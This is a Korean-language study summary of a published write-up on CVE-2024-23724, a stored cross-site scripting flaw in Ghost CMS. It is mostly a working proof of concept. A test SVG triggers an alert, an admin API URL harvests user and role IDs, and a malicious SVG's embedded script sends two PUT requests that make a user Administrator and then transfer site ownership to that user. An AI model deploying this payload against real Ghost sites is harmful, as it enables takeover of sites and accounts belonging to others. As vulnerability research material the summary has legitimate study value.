📌 원문: https://rhinosecuritylabs.com/research/cve-2024-23724-ghost-cms-stored-xss/ 포스팅을 보고 공부하며 요약 작성한 글입니다.
Ghost CMS는 오픈 소스의 블로그 및 웹사이트를 만들 수 있는 콘텐츠 관리 시스템입니다. 사용자 친화적인 인터페이스와 세련된 디자인을 제공하며, 개발자들이 자유롭게 커스터마이징할 수 있는 환경을 제공합니다. 또한, SEO 최적화 기능과 소셜 미디어 통합 기능 등을 제공하여 웹사이트 운영을 간편하게 합니다.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
http://[Ghost-CMS-Ghost CMS 인스턴스]/ghost/api/admin/users/?include=roles
URL에 접속했을 때 얻을 수 있다.http://[Ghost-CMS-Ghost CMS 인스턴스]/ghost/api/admin/users/?include=roles
를 통해 획득한 정보를 토대로, 아래와 같이 SVG 파일을 생성할 수 있다.<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<script type="application/ecmascript">
// First Request
const
url1 = 'http://localhost:3001/ghost/api/admin/users/[User-ID]/?include=roles';
const data1 = {
users: [{
id: '[User-ID]',
name: '[User-Name]',
slug: '[Slug-Name]',
email: '[User-Email]',
profile_image: '',
bio: '',
status: 'active',
comment_notifications: true,
free_member_signup_notification: true,
paid_subscription_started_notification: true,
paid_subscription_canceled_notification: false,
mention_notifications: true,
recommendation_notifications: true,
milestone_notifications: true,
donation_notifications: true,
roles: [{
id: '[Admin-Role-ID]',
name: 'Administrator',
description: 'Administrators',
}],
url: 'http://localhost:3001/404/'
}]
};
fetch(url1, {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'x-ghost-version': '5.75',
'app-pragma': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/117.0.5938.132 Safari/537.36',
'Accept': '*/*',
'Origin': 'http://localhost:3001',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'http://localhost:3001/ghost/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
},
body: JSON.stringify(data1),
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
return response.json();
})
.then(data => {
console.log('First Request Success:', data);
// Second Request
const url2 = 'http://localhost:3001/ghost/api/admin/users/owner/';
const data2 = {
owner: [{
id: '[User-ID]'
}]
};
fetch(url2, {
method: 'PUT',
headers: {
'Content-Type': 'application/json',
'x-ghost-version': '5.75',
'app-pragma': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/117.0.5938.132 Safari/537.36',
'Accept': '*/*',
'Origin': 'http://localhost:3001',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'http://localhost:3001/ghost/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
},
body: JSON.stringify(data2),
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
return response.json();
})
.then(data => {
console.log('Second Request Success:', data);
})
.catch(error => {
console.error('Second Request Error:', error);
});
})
.catch(error => {
console.error('First Request Error:', error);
});
</script>
</svg>